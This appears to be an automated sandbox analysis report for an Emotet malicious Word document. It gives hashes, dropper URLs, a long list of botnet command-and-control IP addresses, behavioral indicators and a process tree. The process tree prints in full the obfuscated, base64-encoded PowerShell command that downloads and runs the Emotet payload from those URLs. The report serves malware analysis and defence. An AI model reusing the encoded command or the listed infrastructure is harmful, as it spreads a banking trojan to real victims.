emotet | a01664c0e8eb5300423e2515263d5ed8970667afb7fc31d8ec9e43fdfbeafffd

Analysis

max time kernel
148s
max time network
151s
platform
windows10_x64
resource
win10
submitted
14/10/2020, 15:42

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General

Target
Order.doc
Size 133KB
Sample201014-zghbdq2q4a
SHA256 a01664c0e8eb5300423e2515263d5ed8970667afb7fc31d8ec9e43fdfbeafffd
MD5 544e8863b93a7e252f96d477e9516ebc
SHA1 0f548302b9b5c2176d4b899ba71468562a93cd2b
SHA512 e3c8874ef1dfaada038dc766d46c66007629f4e674527e31bb7c6dc2b6810e04b9a4fb82ceb61af6f090c7422501bb61d5de7f47505418c549317882521887f4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://transfersuvan.com/wp-admin/07HDv9jur/
exe.dropper
http://colfarse.com.ar/colfar/A/
exe.dropper
http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/
exe.dropper
http://vzminternational.com.br/wp-content/bD4sA/
exe.dropper
http://intc.solutions/wp-content/ig9N/
exe.dropper
http://helionspharmaceutical.com/wp-admin/gO0/
exe.dropper
http://uniteddatabase.net/wp-admin/SjcXyYo/

Extracted

Family

emotet

Botnet

Epoch3

125.200.20.233:80
93.186.197.189:7080
188.166.220.180:7080
192.175.111.217:7080
118.243.83.70:80
103.80.51.61:8080
185.80.172.199:80
172.96.190.154:8080
116.202.10.123:8080
46.105.131.68:8080
223.17.215.76:80
192.210.217.94:8080
190.194.12.132:80
115.79.59.157:80
190.191.171.72:80
24.231.51.190:80
203.153.216.178:7080
175.103.38.146:80
36.91.44.183:80
213.165.178.214:80
113.203.238.130:80
91.83.93.103:443
153.229.219.1:443
126.126.139.26:443
113.193.239.51:443
77.74.78.80:443
37.187.100.220:7080
198.20.228.9:8080
190.117.101.56:80
115.79.195.246:80
73.55.128.120:80
185.208.226.142:8080
190.96.15.50:443
157.7.164.178:8081
79.133.6.236:8080
116.91.240.96:80
103.93.220.182:80
50.116.78.109:8080
192.241.220.183:8080
8.4.9.137:8080
91.75.75.46:80
192.163.221.191:8080
162.144.145.58:8080
190.164.135.81:80
5.79.70.250:8080
46.32.229.152:8080
88.247.58.26:80
183.77.227.38:80
47.154.85.229:80
179.5.118.12:80
143.95.101.72:8080
103.229.73.17:8080
109.13.179.195:80
195.201.56.70:8080
119.92.77.17:80
75.127.14.170:8080
172.105.78.244:8080
139.59.12.63:8080
203.56.191.129:8080
202.29.237.113:8080
185.142.236.163:443
178.33.167.120:8080
60.125.114.64:443
78.186.65.230:80
74.208.173.91:8080
2.58.16.86:8080
139.59.61.215:443
190.85.46.52:7080
121.117.147.153:443
190.192.39.136:80
42.200.96.63:80
94.212.52.40:80
58.27.215.3:8080
45.239.204.100:80
180.148.4.130:8080
120.51.34.254:80
113.161.148.81:80
54.38.143.245:8080
37.46.129.215:8080
41.185.29.128:8080
37.205.9.252:7080
118.33.121.37:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1900	4032	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1584-14-0x00000000022C0000-0x00000000022DF000-memory.dmp	emotet
behavioral2/memory/1584-15-0x00000000022E0000-0x00000000022FD000-memory.dmp	emotet
behavioral2/memory/3736-18-0x0000000002190000-0x00000000021AF000-memory.dmp	emotet
behavioral2/memory/3736-19-0x00000000021B0000-0x00000000021CD000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
16	1900	POwersheLL.exe
29	1900	POwersheLL.exe
34	1900	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1584	U9pruuf.exe
3736	dmiso8601utils.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDTAILE\dmiso8601utils.exe	U9pruuf.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1900	POwersheLL.exe
1900	POwersheLL.exe
1900	POwersheLL.exe
3736	dmiso8601utils.exe
3736	dmiso8601utils.exe
3736	dmiso8601utils.exe
3736	dmiso8601utils.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
3684	WINWORD.EXE
1584	U9pruuf.exe
3736	dmiso8601utils.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 1584	1900	POwersheLL.exe	82
PID 1900 wrote to memory of 1584	1900	POwersheLL.exe	82
PID 1900 wrote to memory of 1584	1900	POwersheLL.exe	82
PID 1584 wrote to memory of 3736	1584	U9pruuf.exe	83
PID 1584 wrote to memory of 3736	1584	U9pruuf.exe	83
PID 1584 wrote to memory of 3736	1584	U9pruuf.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3684

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABGAHMAZwA2AGgANwA3AD0AWwBjAGgAYQByAF0ANAAyADsAJABKAGcAMwB2AG8ANQA3AD0AKAAoACcAUQBtACcAKwAnAGMAJwApACsAJwBwAGkAJwArACcANQB5ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAFIAbwBGAEkATABlAFwAdABjAGUAcQBCAFcAbQBcAEQAYwB4AFcARwBDAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AFkAYABwAHIAbwBUAE8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACsAKAAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEwAawBtAG8AcABvAHoAIAA9ACAAKAAnAFUAOQAnACsAKAAnAHAAJwArACcAcgB1AHUAJwApACsAJwBmACcAKQA7ACQAWQBnAGoAbgAzAGMAeQA9ACgAJwBHAGoAJwArACcAcgAnACsAKAAnAGIAJwArACcAZQBsADMAJwApACkAOwAkAEQAegBkAGcAdQB5AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AJwArACcAVAAnACsAJwBjAGUAJwArACcAcQBiAHcAbQB7ADAAfQAnACsAKAAnAEQAYwB4ACcAKwAnAHcAZwAnACkAKwAnAGMAawAnACsAJwB7ADAAfQAnACkAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAEwAawBtAG8AcABvAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABGAHgANQB6AHUAOAA5AD0AKAAnAEsAJwArACgAJwBuADQAJwArACcAagB4ADQAJwApACsAJwBuACcAKQA7ACQATwA1ADgAMwBsAGsAaQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQAUABuAG0AaAA2ADIAaAA9ACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAHQAcgAnACsAJwBhAG4AcwAnACsAJwBmACcAKQArACcAZQAnACsAJwByACcAKwAnAHMAdQAnACsAJwB2ACcAKwAoACcAYQBuAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AYQBkAG0AaQBuACcAKwAnAC8AJwApACsAJwAwACcAKwAnADcAJwArACgAJwBIAEQAJwArACcAdgAnACkAKwAnADkAagAnACsAKAAnAHUAcgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACcAYwBvAGwAZgBhAHIAJwApACsAJwBzACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAuACcAKwAnAGEAcgAvAGMAbwAnACkAKwAoACcAbAAnACsAJwBmAGEAJwApACsAKAAnAHIALwBBAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwByACcAKwAnAHUAJwApACsAKAAnAHIAYQBsAGEAZwByACcAKwAnAGkAJwApACsAJwBjAG8AJwArACgAJwBsAGEAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEgAWgAnACsAJwA1AHMAJwApACsAKAAnAHkAJwArACcAMwBuACcAKQArACgAJwBMACcAKwAnADcAJwArACcALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAJwAvAC8AJwArACcAdgB6ACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQByACcAKwAnAG4AYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwBhAGwAJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwB3AHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQALwBiACcAKwAnAEQANABzACcAKQArACgAJwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGMALgBzAG8AbAB1ACcAKQArACgAJwB0AGkAJwArACcAbwAnACkAKwAnAG4AJwArACcAcwAnACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0AGUAJwArACgAJwBuAHQALwAnACsAJwBpAGcAJwApACsAJwA5ACcAKwAoACcATgAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AaAAnACkAKwAoACcAZQBsACcAKwAnAGkAJwApACsAKAAnAG8AJwArACcAbgBzACcAKQArACgAJwBwAGgAYQByAG0AYQBjACcAKwAnAGUAJwArACcAdQB0ACcAKQArACgAJwBpAGMAJwArACcAYQAnACkAKwAnAGwAJwArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAvAGcATwAwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHUAJwArACcAbgBpAHQAJwApACsAKAAnAGUAZABkACcAKwAnAGEAdABhACcAKQArACcAYgBhACcAKwAoACcAcwBlAC4AbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYQBkAG0AJwArACcAaQBuACcAKQArACcALwAnACsAJwBTACcAKwAoACcAagBjAFgAJwArACcAeQAnACkAKwAnAFkAbwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoACQARgBzAGcANgBoADcANwApADsAJABBADkAdwBpAHYAdAAxAD0AKAAoACcAUwA4ACcAKwAnAGcAJwApACsAJwAwAG4AJwArACcAdwBnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAbABnAGsAOQBwAHoAIABpAG4AIAAkAFAAbgBtAGgANgAyAGgAKQB7AHQAcgB5AHsAJABPADUAOAAzAGwAawBpAC4AIgBEAE8AVwBgAE4ATABgAE8AYQBgAEQAZgBJAGwARQAiACgAJABXAGwAZwBrADkAcAB6ACwAIAAkAEQAegBkAGcAdQB5AF8AKQA7ACQARQBzAGsAOQAyAHEAagA9ACgAJwBGACcAKwAoACcAOQA5AHAAagAnACsAJwBwACcAKQArACcAdAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AGQAZwB1AHkAXwApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAOAA3ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABEAHoAZABnAHUAeQBfACkAOwAkAFEAXwBnAHoAdABuAHkAPQAoACgAJwBIAF8AJwArACcAeQAxACcAKQArACgAJwBfACcAKwAnADkANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBjAGUAdABxAGQAdgA9ACgAJwBPAF8AJwArACcAeAB2ACcAKwAoACcAawBrACcAKwAnAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAHgAXwA0AHgAPQAoACgAJwBQACcAKwAnAGEAcQBxAHcAJwApACsAJwBtAGoAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe
  "C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\SysWOW64\KBDTAILE\dmiso8601utils.exe
    "C:\Windows\SysWOW64\KBDTAILE\dmiso8601utils.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1584-15-0x00000000022E0000-0x00000000022FD000-memory.dmp

Download

memory/1584-14-0x00000000022C0000-0x00000000022DF000-memory.dmp

Download

memory/1900-9-0x00000231B8870000-0x00000231B8871000-memory.dmp

Download

memory/1900-8-0x00007FFEF5AA0000-0x00007FFEF648C000-memory.dmp

Download

memory/1900-10-0x00000231D0BA0000-0x00000231D0BA1000-memory.dmp

Download

memory/3684-0-0x00007FFEFD230000-0x00007FFEFD8F6000-memory.dmp

Download

memory/3684-7-0x000001AA45816000-0x000001AA45818000-memory.dmp

Download

memory/3684-6-0x000001AA45651000-0x000001AA45662000-memory.dmp

Download

memory/3684-5-0x000001AA45651000-0x000001AA45662000-memory.dmp

Download

memory/3684-4-0x000001AA4564C000-0x000001AA45651000-memory.dmp

Download

memory/3684-3-0x000001AA45651000-0x000001AA45662000-memory.dmp

Download

memory/3684-1-0x000001AA45020000-0x000001AA45024000-memory.dmp

Download

memory/3736-18-0x0000000002190000-0x00000000021AF000-memory.dmp

Download

memory/3736-19-0x00000000021B0000-0x00000000021CD000-memory.dmp

Download